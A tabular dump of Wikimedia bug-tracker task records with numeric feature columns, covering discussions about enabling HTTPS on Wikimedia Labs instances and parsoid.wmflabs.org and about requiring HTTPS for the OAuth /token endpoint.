**URL**: https://parsoid.wmflabs.org",Needs Triage,90.0,1379372700,1379381762.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-vxs4woelidzvvd7myz2d,task_description,resolved,True,c3,1,True,False,True,-94,True,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,5.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.075,0.7125,"Please enable HTTPS on parsoid.wmflabs.org. Unsure if it needs it's own certificate or if there is one for *.wmflabs.org.

It recently had CORS enabled so users can write custom scripts to access parsoid, however they'll face mixed content blocking issues since HTTPS doesn't work yet.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
239598,HTTPS for parsoid.wmflabs.org,"As we have other ports in use (http://parsoid.wmflabs.org:8001/ for example) just changing the DNS does not work so well for us. Instead, we used iptables to DNAT port 443 to the proxy.",,,1379381752,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,14.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,8.0,16.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.3783783783783785,0.8648648648648649,"As we have other ports in use (URL for example) just changing the DNS does not work so well for us. Instead, we used iptables to DNAT port 443 to the proxy."
239596,HTTPS for parsoid.wmflabs.org,Because parsoid needs more features than what labsproxy provides,,,1379375340,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,6.222222222222222,1.0,Because parsoid needs more features than what labsproxy provides
239593,HTTPS for parsoid.wmflabs.org,"https://parsoid.wmflabs.org/ exists now, thanks to the dynamic proxy :)",,,1379373679,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"URL exists now, thanks to the dynamic proxy :)"
239589,HTTPS for parsoid.wmflabs.org,There's the dynamic labsproxy that does HTTPS (and there's a *.wmflabs.org certificate for it). I can setup the proxy for the guys if they want me to.,,,1379372969,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-vxs4woelidzvvd7myz2d,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,9.0,3.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.8529411764705882,There's the dynamic labsproxy that does HTTPS (and there's a *.wmflabs.org certificate for it). I can setup the proxy for the guys if they want me to.
56110,Force HTTPS for /token if the Consumer is not using an RSA key,"We currently don't require HTTPS for the consumer to get the authorization token. The auth token's secret is combined with the consumer's secret for an HMAC signature, so part of the signing key would be known to an attacker if they can sniff this traffic.

rfc5849 - 2.3 says that:

   Since the request results in the transmission of plain text
   credentials in the HTTP response, the server MUST require the use of
   a transport-layer mechanism such as TLS or SSL (or a secure channel
   with equivalent protections).

However, if the Consumer is using an RSA key, then the authorization token's secret isn't used, so the security isn't affected by not using SSL for the /token call.

--------------------------
**Version**: master
**Severity**: normal",Needs Triage,90.0,1379118240,1380551043.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-eltc3unjgxsy26lpygu6,task_description,resolved,True,c3,1,True,False,True,-94,True,0.0,0.0,0.0,2.0,2.5,3.5,0.0,0.0,0.0,1.0,2.0,1.5,0.0,0.0,0.0,0.5,0.0,4.0,11.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,4.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,4.0,0.5,0.0,0.0,0.0,0.0,15.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,10.5,3.0,8.5,3.0,1.0,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.0,11.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.0375,0.725,"We currently don't require HTTPS for the consumer to get the authorization token. The auth token's secret is combined with the consumer's secret for an HMAC signature, so part of the signing key would be known to an attacker if they can sniff this traffic.

rfc5849 - 2.3 says that:

   Since the request results in the transmission of plain text
   credentials in the HTTP response, the server MUST require the use of
   a transport-layer mechanism such as TLS or SSL (or a secure channel
   with equivalent protections).

However, if the Consumer is using an RSA key, then the authorization token's secret isn't used, so the security isn't affected by not using SSL for the /token call.

--------------------------
**Version**: master
**Severity**: normal"
258987,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 merged by jenkins-bot:
Use HTTPS for Special:MWOAuth/token

https://gerrit.wikimedia.org/r/85218",,,1380396294,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9473684210526315,"Change 85218 merged by jenkins-bot:
Use HTTPS for Special:MWOAuth/token

GERRIT_URL"
258984,Force HTTPS for /token if the Consumer is not using an RSA key,"Change 85218 had a related patch set uploaded by Anomie:
Use HTTPS for Special:MWOAuth/token

https://gerrit.wikimedia.org/r/85218",,,1379691008,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"Change 85218 had a related patch set uploaded by Anomie:
Use HTTPS for Special:MWOAuth/token

GERRIT_URL"
258980,Force HTTPS for /token if the Consumer is not using an RSA key,"(In reply to comment #0)
> However, if the Consumer is using an RSA key, then the authorization token's
> secret isn't used, so the security isn't affected by not using SSL for the
> /token call.

What about the token credentials returned in the response? Those are still plain text.",,,1379690874,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-eltc3unjgxsy26lpygu6,task_subcomment,,True,c3,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,13.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.8387096774193549,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

What about the token credentials returned in the response? Those are still plain text."
56065,Enable HTTPS on a Labs instance,"We switched to Labs hoping that it would bring us HTTPS, but apparently not.

I created an instance with this enabled:
- role::lamp::labs
- certificates::star_wmflabs_org

But Firefox says ""Unable to connect"": https://i-000008da.pmtpa-proxy.wmflabs.org

Am I missing something? What should I do to allow visitors to connect via SSL?

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48501",Needs Triage,90.0,1378968900,1404230315.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-qa4qlq3om3eeq6hztvty,task_description,resolved,True,c3,1,False,False,True,-94,True,0.0,1.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,8.0,1.0,3.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,20.0,1.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,8.0,7.0,2.0,2.0,0.0,7.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,0.0,3.8636363636363638,0.625,"We switched to Labs hoping that it would bring us HTTPS, but apparently not.

I created an instance with this enabled:
- role::lamp::labs
- certificates::star_wmflabs_org

But Firefox says ""Unable to connect"": URL

Am I missing something? What should I do to allow visitors to connect via SSL?

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL"
256232,Enable HTTPS on a Labs instance,"This has been fixed now. If you are using your own instance, use Special:NovaProxy on wikitech to create a https enabled proxy. If you're using toollabs, you already have https.",,,1404230315,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,3.8947368421052633,0.7894736842105263,"This has been fixed now. If you are using your own instance, use Special:NovaProxy on wikitech to create a https enabled proxy. If you're using toollabs, you already have https."
256228,Enable HTTPS on a Labs instance,"**scott.leea** wrote:

What's the status on this ticket? Is this something I can work on? (I am a new volunteer).",,,1404182317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-53,True,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,2.96875,0.78125,"**scott.leea** wrote:

What's the status on this ticket? Is this something I can work on? (I am a new volunteer)."
256223,Enable HTTPS on a Labs instance,"(In reply to comment #9)
> Do you mean you created a ""public_html"" folder in your user home?
> I have no such folder here, so I have put everything in /var/www and it
> mostly
> works (for a few hours before becoming 404, see
> https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)
> 
> I guess these pages could use more detailed explanations:
> https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
> https://wikitech.wikimedia.org/wiki/Help:LAMP_issues

No.  It should already be there.  xtools runs on the tools instance.",,,1379590933,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,27.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.022727272727273,0.5681818181818182,"(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No.  It should already be there.  xtools runs on the tools instance."
256217,Enable HTTPS on a Labs instance,"Do you mean you created a ""public_html"" folder in your user home?
I have no such folder here, so I have put everything in /var/www and it mostly works (for a few hours before becoming 404, see https://bugzilla.wikimedia.org/show_bug.cgi?id=54059 different problem)

I guess these pages could use more detailed explanations:
https://wikitech.wikimedia.org/wiki/Help:Lamp_Instance
https://wikitech.wikimedia.org/wiki/Help:LAMP_issues",,,1379590230,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,2.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,6.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,11.0,6.0,6.0,2.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,3.6307692307692307,0.8,"Do you mean you created a ""public_html"" folder in your user home?
I have no such folder here, so I have put everything in /var/www and it mostly works (for a few hours before becoming 404, see URL different problem)

I guess these pages could use more detailed explanations:
URL
URL"
256213,Enable HTTPS on a Labs instance,"(In reply to comment #7)
> @torty: I would be glad to use the place you mention if someone grants me
> read/write access to it.
> Anywhere is fine as long as it can run our PHP script over HTTPS.
> 
> @Cyberpower678: Interesting! Any idea how they achieved this?
> 
> @Ryan: Any news about the dynamic proxy?

Well I achieved it by simply tossing it into the public_html folder and going to that address with https.  Nothing special to it.",,,1379589549,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,22.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,8.0,14.0,10.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.489795918367347,0.6530612244897959,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Well I achieved it by simply tossing it into the public_html folder and going to that address with https.  Nothing special to it."
256204,Enable HTTPS on a Labs instance,"@torty: I would be glad to use the place you mention if someone grants me read/write access to it.
Anywhere is fine as long as it can run our PHP script over HTTPS.

@Cyberpower678: Interesting! Any idea how they achieved this?

@Ryan: Any news about the dynamic proxy?",,,1379577425,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-93,True,3.0,2.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,10.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,8.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,11.0,10.0,5.0,3.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7868852459016393,0.7868852459016393,"SCREEN_NAME: I would be glad to use the place you mention if someone grants me read/write access to it.
Anywhere is fine as long as it can run our PHP script over HTTPS.
SCREEN_NAME: Interesting! Any idea how they achieved this?
SCREEN_NAME: Any news about the dynamic proxy?"
256196,Enable HTTPS on a Labs instance,"**singaporemaps** wrote:

Question: why is a separate instance required? I would have thought that hosting it at a page like tools.wmflabs.org/wikivoyage/poimap would work.",,,1379428579,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.71875,0.8125,"**singaporemaps** wrote:

Question: why is a separate instance required? I would have thought that hosting it at a page like tools.wmflabs.org/wikivoyage/poimap would work."
256187,Enable HTTPS on a Labs instance,I'm not sure I understand but https://tools.wmflabs.org/xtools/pcount works just fine.,,,1379420417,,PHID-USER-xkdpe6ltdf3mkphd7xgd,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4166666666666665,0.9166666666666666,I'm not sure I understand but URL works just fine.
256180,Enable HTTPS on a Labs instance,"(In reply to comment #2)
> Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for
> most users

For the records, this was also discussed in https://de.wikivoyage.org/wiki/Benutzer_Diskussion:Mey2008#PoiMap2.2C_https_and_Firefox_23",,,1379419426,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1739130434782608,0.9130434782608695,"(In reply to comment #2)
QUOTE
QUOTE

For the records, this was also discussed in URL"
256172,Enable HTTPS on a Labs instance,"We have a new dynamic proxy that has HTTPS and also allows you to have a nice DNS name that doesn't include instance-proxy. I'll ping yuvi, who's managing this, tomorrow.",,,1379403127,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,5.0,0.0,10.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,5.0,0.0,3.0,0.0,0.0,0.0,3.6153846153846154,0.8461538461538461,"We have a new dynamic proxy that has HTTPS and also allows you to have a nice DNS name that doesn't include instance-proxy. I'll ping yuvi, who's managing this, tomorrow."
256165,Enable HTTPS on a Labs instance,"Sam, thanks for confirming the problem!
Could you please switch this report from UNCONFIRMED to CONFIRMED?
Thanks!

Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for most users (they don't notice the SSL mixed-protocol icon, and just see a blank square where the map should be).",,,1379380254,,PHID-USER-qmcrs2npimuywblubznv,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,14.0,2.0,2.0,8.0,0.0,0.0,3.0,0.0,6.0,2.0,0.0,0.0,5.0,9.0,8.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,3.0,0.0,2.0,0.0,3.909090909090909,0.8787878787878788,"Sam, thanks for confirming the problem!
Could you please switch this report from UNCONFIRMED to CONFIRMED?
Thanks!

Also: Marking as major, as it makes Wikivoyage's dynamic maps unusable for most users (they don't notice the SSL mixed-protocol icon, and just see a blank square where the map should be)."
256159,Enable HTTPS on a Labs instance,"Nope, HTTPS is currently unsupported on labs. Work is currently underway to rectify/improve this situation.

Someone who is actually directly involved in making this work should be able to give you a suggested timeframe till it should work.",,,1378969400,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-qa4qlq3om3eeq6hztvty,task_subcomment,,True,c3,1,True,,,-94,True,0.0,2.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.533333333333333,0.8,"Nope, HTTPS is currently unsupported on labs. Work is currently underway to rectify/improve this situation.

